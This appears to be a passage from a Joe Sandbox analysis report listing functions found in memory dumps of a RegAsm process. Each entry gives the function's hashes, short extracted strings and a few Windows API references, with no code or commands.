Instruction ID: 19c9d986b035dbcbc224f8e7997333ac9a919ba3edf467be1df8ed1cc340192d
Opcode Fuzzy Hash: 8569415a5ad080aefe6ca2c4e755aae5a6ad0a2786c0ba656c761530c0a5cc1f
Instruction Fuzzy Hash: DC42A0B4E012198FDB64CF69C981B9DBBF2BF89300F1491AAE419E7355D730AA81CF54

Function 06EFD5B9 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4494706129.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ef0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c9f6468b61dea08c6b3d6965a49107ac878e7dae9186651b81144df5853fa8e
Instruction ID: 7c397ab074299e8a7748ff19896c55861bcc82e5c0200520ad70b6d2a1dbf73c
Opcode Fuzzy Hash: 4c9f6468b61dea08c6b3d6965a49107ac878e7dae9186651b81144df5853fa8e
Instruction Fuzzy Hash: 2E020174E112198FCB60DFACC985B9DBBB2BF48304F1492A5E519EB395D730AA81CF50

Function 00E7BD78 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b81639bbae5e2230aae482527f778b5522e874bc6a6b536f6514dd65705132ac
Instruction ID: eb7c140d5722452cdce37e7bfd264580188f27b5dc5785ce03c3f408bad60d29
Opcode Fuzzy Hash: b81639bbae5e2230aae482527f778b5522e874bc6a6b536f6514dd65705132ac
Instruction Fuzzy Hash: 0171B4B4E002098FDB44DFA9C984A9EBBF2FF88300F25D169E515AB365D734A945CF50

Function 00E7BD45 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22e332cda32d8a69f83eb5e71e5b71e68397ae2c69d2463d0ed28deb15dda001
Instruction ID: 80b30431257bc7fe4b75d881028fe00ab09285999a515eec5fc34f2f8afad7a9
Opcode Fuzzy Hash: 22e332cda32d8a69f83eb5e71e5b71e68397ae2c69d2463d0ed28deb15dda001
Instruction Fuzzy Hash: 5A71D5B4E002498FDB44DFAAC984A9EBBF2FF89304F14C16AE515AB365D7349906CF50

Function 07B91DD0 Relevance: 6.5, Strings: 5, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 07B91E6D
\, xrefs: 07B91E65
(aq, xrefs: 07B9200D
(aq, xrefs: 07B92039
4']q, xrefs: 07B920B1

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: (aq$(aq$4']q$\$\
API String ID: 0-1546875259
Opcode ID: fecf258350f614747a99e1d9166a80f1a608670fb8d5969a4448db9c6cb8318c
Instruction ID: 6743b4c1fd222ed0268b036dabe64e7e41ab3a714a9443fa9fa1c089b93955c5
Opcode Fuzzy Hash: fecf258350f614747a99e1d9166a80f1a608670fb8d5969a4448db9c6cb8318c
Instruction Fuzzy Hash: 1981D370B0021A8FDB19AF78D4683AE7AF2EB85310F1448B9D406DB385DF389D46CB91

Function 07B975E0 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 07B97871
C&, xrefs: 07B97704
$]q, xrefs: 07B9785B

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: C&$$]q$$]q
API String ID: 0-1167463027
Opcode ID: a48a6417b88aaa6e21aee760844a82c940e8de0df9214dd52a69ddffabd82b5a
Instruction ID: f738d997a6913104cdaede4af73f6f8502aebd55b4ccdf270887d296ade4d79c
Opcode Fuzzy Hash: a48a6417b88aaa6e21aee760844a82c940e8de0df9214dd52a69ddffabd82b5a
Instruction Fuzzy Hash: FEA1A1B4E10219CFDB54CFA9C984A9DBBF1FB49300F1481AAE828E7355EB349A45CF10

Function 07B93B77 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

(aq, xrefs: 07B93CBF
(aq, xrefs: 07B93CEB

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: (aq$(aq
API String ID: 0-3916115647
Opcode ID: f162e5417139ec58c2ae93159eb659963391b0ad34bcb5a79077a997aa45af5c
Instruction ID: b020dfa274f394b0fca67a941f95028172a4d35bc6cab3c92f194472b53bbd05
Opcode Fuzzy Hash: f162e5417139ec58c2ae93159eb659963391b0ad34bcb5a79077a997aa45af5c
Instruction Fuzzy Hash: 3631D170A04228CBDB145BA8E4283EE7FF2EB85715F14446AE406A7781CF748D42CBD1

Function 07B91DC0 Relevance: 2.6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

\, xrefs: 07B91E6D
\, xrefs: 07B91E65

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: \$\
API String ID: 0-164819647
Opcode ID: d0cb48e530787ce8d0af62118475da6900c7c502853b1b9e1d0ac7bdb90e138f
Instruction ID: 160def5861b80805e4d1e5fac66dfb449f120124ec72d65bd5144b13e032f877
Opcode Fuzzy Hash: d0cb48e530787ce8d0af62118475da6900c7c502853b1b9e1d0ac7bdb90e138f
Instruction Fuzzy Hash: 2E31B3B0B0020E9FEF249B74C4687AD7AB2AB88714F1484B9D516AB394EF748C46CB50

Function 07688C64 Relevance: 1.6, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 07688D82

Memory Dump Source

Source File: 00000001.00000002.4495097629.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7680000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: db7e6cb5ad864a912bffc3464b8d66e45e535c4e727675ddf7aba5876c160358
Instruction ID: 94fdf189410c1574a2092a3be3604e496d3622702cfad7a72cf678307b950288
Opcode Fuzzy Hash: db7e6cb5ad864a912bffc3464b8d66e45e535c4e727675ddf7aba5876c160358
Instruction Fuzzy Hash: 1A5113B1D11349DFDB14CFA9C884ADEBFB5BF49300F64822AE819AB251D7749845CF90

Function 07688C70 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 07688D82

Memory Dump Source

Source File: 00000001.00000002.4495097629.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7680000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f1cab8e06692d0c44ff21852eb394a42fa834b09b65c11877d171c63757464d0
Instruction ID: 86a0e6fb7e129812b6ba0550ac5e25861f8d261042c20ff2180dce5c3cea685c
Opcode Fuzzy Hash: f1cab8e06692d0c44ff21852eb394a42fa834b09b65c11877d171c63757464d0
Instruction Fuzzy Hash: 9041C2B1D10349DFDB14DFA9C884ADEBBB5FF48310F64822AE819AB250D775A845CF90

Function 076877B4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0768B481

Memory Dump Source

Source File: 00000001.00000002.4495097629.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7680000_RegAsm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 78319e23a8a34fbba3f89f026a342cb4327c3700398c849369514707439a533e
Instruction ID: 9ae12c1de1177c11972508b506a2a4444d1eafe32013013eef180b3215b86173
Opcode Fuzzy Hash: 78319e23a8a34fbba3f89f026a342cb4327c3700398c849369514707439a533e
Instruction Fuzzy Hash: 764147B4A00305DFCB54DF99C488AAABBF5FF88314F28C958D519A7321C774A845CFA0

Function 06D7C620 Relevance: 1.6, APIs: 1, Instructions: 79fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 06D7C6C1

Memory Dump Source

Source File: 00000001.00000002.4494591705.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d70000_RegAsm.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 5359dc48c4d58a8c718db435b2d0b34074f70b66ba9e5aeba9dfc82eca15fec4
Instruction ID: 4092864452e1d1cfce348cb609e65d4e882eea92de596e6ad8d063091e655198
Opcode Fuzzy Hash: 5359dc48c4d58a8c718db435b2d0b34074f70b66ba9e5aeba9dfc82eca15fec4
Instruction Fuzzy Hash: A3315EB1C112199FDB50CFAAD5817EEFBF4EF48310F15816AE808A7255D7349A40CBE1

Function 06D7C628 Relevance: 1.6, APIs: 1, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 06D7C6C1

Memory Dump Source

Source File: 00000001.00000002.4494591705.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d70000_RegAsm.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: e41167cf9d012faa52f97eed466034eaada064b263d98a74e025a087287fea6b
Instruction ID: 7a437e2e873f4811840f5be7ce8dca950b7dd3ba4f134b2b81516f78323b64b3
Opcode Fuzzy Hash: e41167cf9d012faa52f97eed466034eaada064b263d98a74e025a087287fea6b
Instruction Fuzzy Hash: 85214BB2C112199FCB50CFA9D5847EEFBF4EF48310F15816AD808AB255D7389A40CBA5

Function 06EFDCB0 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 06EFDD33

Memory Dump Source

Source File: 00000001.00000002.4494706129.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ef0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: b18c39b70549f015af71ddea8d4530a3697d802c8ad757082e663723b5ed4919
Instruction ID: d76686a8fcf7396a7032e31493276415933da006354dcdb9b192ddbc29f81725
Opcode Fuzzy Hash: b18c39b70549f015af71ddea8d4530a3697d802c8ad757082e663723b5ed4919
Instruction Fuzzy Hash: 2F2139B5D002099FCB54DF9AD844BEEFBF4EF88314F10842AE519A7250CB75A945CFA1

Function 06EFDCB8 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 06EFDD33

Memory Dump Source

Source File: 00000001.00000002.4494706129.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ef0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 05f924c79d49179f6d7d4def1f82d1122d152dcb91052b3b486c4b2844626896
Instruction ID: 91a8be3bd076bfa1d1a6043a3d3f4257ffdceb744086ab98018f330d46819a03
Opcode Fuzzy Hash: 05f924c79d49179f6d7d4def1f82d1122d152dcb91052b3b486c4b2844626896
Instruction Fuzzy Hash: 5B2104B5D002098FCB54DF9AC844BEEBBF5EF88314F148419D519A7250CB75A945CFA1

Function 07B92BB8 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

`, xrefs: 07B92BB8

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-1224132033
Opcode ID: 93358436a24bfd7e272c5e585c98e968be17d0088150c10cbbdb2ae672069b9b
Instruction ID: bf7b8b8ae46e37eec702d7bf5b711a31efbf6fb8a33937cbb9c2a5f2930ab366
Opcode Fuzzy Hash: 93358436a24bfd7e272c5e585c98e968be17d0088150c10cbbdb2ae672069b9b
Instruction Fuzzy Hash: 487112B1D102199FEF24CF99C880A9EBBF1FF48310F158569E829A7351DB34A946CF91

Function 07B93CBE Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

(aq, xrefs: 07B93CEB

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 445d2bb906c441920b5aa79b7e171724b2f7ce0723ddaebc38b953dd76dd6b5f
Instruction ID: 16705271e4589fda0e56d2f64162701a3130b1877fe1e1bc75fb1c3596e43d2e
Opcode Fuzzy Hash: 445d2bb906c441920b5aa79b7e171724b2f7ce0723ddaebc38b953dd76dd6b5f
Instruction Fuzzy Hash: 8901D6397081608FC7491BBC64241EE7FE6DBC932570414A6E90BC3B82CE288D4387D5

Function 00E7F03A Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

^, xrefs: 00E7F067

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 51ee0e2981d5cec0f4e4a9f534b843a3dd695917c31275e5819aed83219dd7c9
Instruction ID: e60c89526c36c2c02a5293696db8eca1286916d7053b5a407db58f810e2b2346
Opcode Fuzzy Hash: 51ee0e2981d5cec0f4e4a9f534b843a3dd695917c31275e5819aed83219dd7c9
Instruction Fuzzy Hash: 11F0A771D16308DFCB50DF75A949268BBB0E79A311F1094E5D848A3261E731965ACB81

Function 07B91780 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f305d90c10bed8f0dfb065d3ea5b54be0c50e54fec4e4d29b3e4be43500aba7
Instruction ID: 50757d9652e46eb58ae464408ea11c885cd8c2e23fd35313f7b835ae5b0d0a8f
Opcode Fuzzy Hash: 3f305d90c10bed8f0dfb065d3ea5b54be0c50e54fec4e4d29b3e4be43500aba7
Instruction Fuzzy Hash: 1CA1C6B4B006598BCF24DF78D0584AEBBF6EF89720B104A69D4669B390DF349D42CB90

Function 07B92D63 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10e15031c7e74b7f05b19ba0bc2eedeb5c52af4b84ab59af5abcfafd59a37e66
Instruction ID: e5de04964fd9c6cad41f376a93bf4035eb34996745461855a92255bb32773c53
Opcode Fuzzy Hash: 10e15031c7e74b7f05b19ba0bc2eedeb5c52af4b84ab59af5abcfafd59a37e66
Instruction Fuzzy Hash: C5C1E279A10215DFCB54CF28C994A99BBB1FF49314F1181E9E8599B362DB31EE81CF80

Function 00E7F55A Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11865a4e16f7b0b487595d68f35f15a824cea30f35eb0fd2e37ed14d8f3bc084
Instruction ID: 70dfba969346f8271d0e6a969b7f496ff97d196dd129fcba180a0e6bf0e01630
Opcode Fuzzy Hash: 11865a4e16f7b0b487595d68f35f15a824cea30f35eb0fd2e37ed14d8f3bc084
Instruction Fuzzy Hash: 29B1FE74E012088FDB14DFA9C988A9DBBF2FF88310F25D169E419AB395D734A945CF50

Function 07B97F28 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44a7d868f36ac3161d036d91ae0f25d301d6fbe59efaa882c7b271a621f7c00
Instruction ID: 7f37cf4bb64052a6272967c3f6e8ce7534b3ac850e5a5b9f2f4c17762988c722
Opcode Fuzzy Hash: d44a7d868f36ac3161d036d91ae0f25d301d6fbe59efaa882c7b271a621f7c00
Instruction Fuzzy Hash: 8EC15DB4E01219CFDB54CFA9D980B9DBBF1BB49300F1481AAE919E7355E730AA85CF50

Function 00E7F568 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac68b588841668d27fff42c4cd7ad33d3244940cc5dc1a953f5a66ec6697174
Instruction ID: 1e55ef6d2f66a9290932a576274716d4d135913b57b860b42ba461c670ed55be
Opcode Fuzzy Hash: cac68b588841668d27fff42c4cd7ad33d3244940cc5dc1a953f5a66ec6697174
Instruction Fuzzy Hash: 0CB1DD74E012088FDB14DFA9C988A9EBBF2FF88310F25D169E419AB395D734A945CF50

Function 07B90968 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21396c09b2de212a448fdef6114aa6243aeed223587497dfe21c2577d444bfae
Instruction ID: bfcf601e31c7fddf6fbd061fa0095ed26801179b7988824798216ef52efee0cc
Opcode Fuzzy Hash: 21396c09b2de212a448fdef6114aa6243aeed223587497dfe21c2577d444bfae
Instruction Fuzzy Hash: E2B19EB4E00219CFDB54DFA9C980A9DBBF1BF49310F1481AAE819EB355D730AA85CF50

Function 07B97354 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1330efa00ed4cea812e2ff9c689d666e6840b574837686c7737f82767f8f758b
Instruction ID: f930843feaa0b98e28af968e31222f49242717b5640689cd7063e28c25361d97
Opcode Fuzzy Hash: 1330efa00ed4cea812e2ff9c689d666e6840b574837686c7737f82767f8f758b
Instruction Fuzzy Hash: A47113B1D102199FEF24CF99C88069EBBF1FF48310F158569E829A7351DB34A945CF91

Function 07B91AF0 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a0761439b61b36fcb43083e4e0616e9351aed9b6b13c42f172112c5723dbf73
Instruction ID: 3634f5cd0e8b56ef60e4d5566000718eab1bf0c93a24d540b815ba8112089813
Opcode Fuzzy Hash: 0a0761439b61b36fcb43083e4e0616e9351aed9b6b13c42f172112c5723dbf73
Instruction Fuzzy Hash: F6518EB1B0011A9FDB04DF6DD884AAABBB6FF88711F1081B5F519CB361D671EC018B90

Function 07B90958 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64aecfa454191052ee1c2fd8264f8b4b6fac8f647f7091edf4f239bdea68935e
Instruction ID: 8d346758cfc6ce4d88c12ac5cdc4f9d68bde2dbc4b1bf13ebb16aa1196008362
Opcode Fuzzy Hash: 64aecfa454191052ee1c2fd8264f8b4b6fac8f647f7091edf4f239bdea68935e
Instruction Fuzzy Hash: C271D2B5E00219CFDB24DFA9C884A9DBBF2BF49300F1481AAE419EB351D7349A85CF51

Function 07B93E50 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65ecbfa77736174e163bb3318541168915faf9bdb9adbf329c6cc3149eb15167
Instruction ID: 7f2d9d286dedac98464def5a9585221ac96a9fd6a1fec010a75fe1be64ddf847
Opcode Fuzzy Hash: 65ecbfa77736174e163bb3318541168915faf9bdb9adbf329c6cc3149eb15167
Instruction Fuzzy Hash: DF51E7F4600242CFEF64CF74D454A6ABBF1EF49300B2489B9D462C7665E731E916CBA1

Function 07B92810 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0d394660b741e2f877a0751c18250da9a3cb0219deb041fc72e4007fe5d331e
Instruction ID: db063b4a2c13d4f6783a9f21e7075998b66510f5e03095cdce3814f270888ed1
Opcode Fuzzy Hash: e0d394660b741e2f877a0751c18250da9a3cb0219deb041fc72e4007fe5d331e
Instruction Fuzzy Hash: 4141BF72A00114AFCF059FA8C858D9DBFF6FF88320B5545A9E105DB262DB32ED52CB90

Function 07B94012 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2244ae1b36d3efb235df5222099582bdc72d5419ead553ea866a47f9c0847079
Instruction ID: 10795ffdc97c4f41d4e57aee485d0be7ec604e8895f2556ba2aae746cda0084a
Opcode Fuzzy Hash: 2244ae1b36d3efb235df5222099582bdc72d5419ead553ea866a47f9c0847079
Instruction Fuzzy Hash: 594103B67100108FDB44CF6CD988A99BBF5FF88725B2640EAE519CB372DA31EC018B50

Function 07B97F18 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b98b9323054f60583f5caded127b115004d667e8ec22ec98e6eb95b0ec6eca
Instruction ID: e9d37fbdc66e5fc06802d8506ab8877b4f597cbf79013379f337fdb0d9e76893
Opcode Fuzzy Hash: 21b98b9323054f60583f5caded127b115004d667e8ec22ec98e6eb95b0ec6eca
Instruction Fuzzy Hash: 59517DB5E01219CFDB54CFA9D984A9DBBF1FB49310F2481AAE418E7351E730AA45CF90

Function 07B930A0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef26de9dfe80e371acc59ab351bf38f79c7a47c56be73b168b1a9caa871a57a
Instruction ID: e00c0ca2aaf42962446e1aec0a44670fc2e3c681df04f3262b0776dc7b66f5af
Opcode Fuzzy Hash: 8ef26de9dfe80e371acc59ab351bf38f79c7a47c56be73b168b1a9caa871a57a
Instruction Fuzzy Hash: 75515275A402148FDB15CF64D490AA8BBF2FF49324F1980F9E8559F3A2D632ED42CB50

Function 07B90D4A Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ef18b1a64ae091b9326b08a143837fb911f2e34dfc897a0b6176a29150d5b0
Instruction ID: 064a079d643da8a560b57c875bad821f3b78ee13f2e60624054e957ff4f26964
Opcode Fuzzy Hash: 72ef18b1a64ae091b9326b08a143837fb911f2e34dfc897a0b6176a29150d5b0
Instruction Fuzzy Hash: 9B41AEB0E042198FEF04EFA9D8556EEBFB2FF89310F1480AAD811B7251CB754906CB64

Function 00E7AE5F Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0513cdb1e4627b2b1879487c6a4cba8543c204226f2102ad69b77455016f2ea
Instruction ID: 56c8e3a4b0336d52e75e0659999473acd708659691529c71f6d87a5a30032843
Opcode Fuzzy Hash: c0513cdb1e4627b2b1879487c6a4cba8543c204226f2102ad69b77455016f2ea
Instruction Fuzzy Hash: C2413774E012098FCB14CFA8C9885EDFBB2FF8A315F18A525E019B7295C7349986CB54

Function 07B92858 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f808ded4b7a43e2da1a42849fc067fb8aeac07ee4d1b3fa79d638821d544c874
Instruction ID: 15f6b5972adbb23aad5c6e0cd8722d90d967581e4bcf492907aee2690cc719b0
Opcode Fuzzy Hash: f808ded4b7a43e2da1a42849fc067fb8aeac07ee4d1b3fa79d638821d544c874
Instruction Fuzzy Hash: 7141AD76A00114AFCF059FA8D844D9DBFB6FF8C320B5585A9E1059B261DB32ED22DF90

Function 00E7EE00 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4488538906.0000000000E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 659f396dab65ed678b028c89f0083321cb5872d8299ad71a9c0137a57ec0a3de
Instruction ID: a4aee8305fbdfc9abb1bb8e4926b7b618b99831c3fbb0b15ca2e9ba64a8ad7cb
Opcode Fuzzy Hash: 659f396dab65ed678b028c89f0083321cb5872d8299ad71a9c0137a57ec0a3de
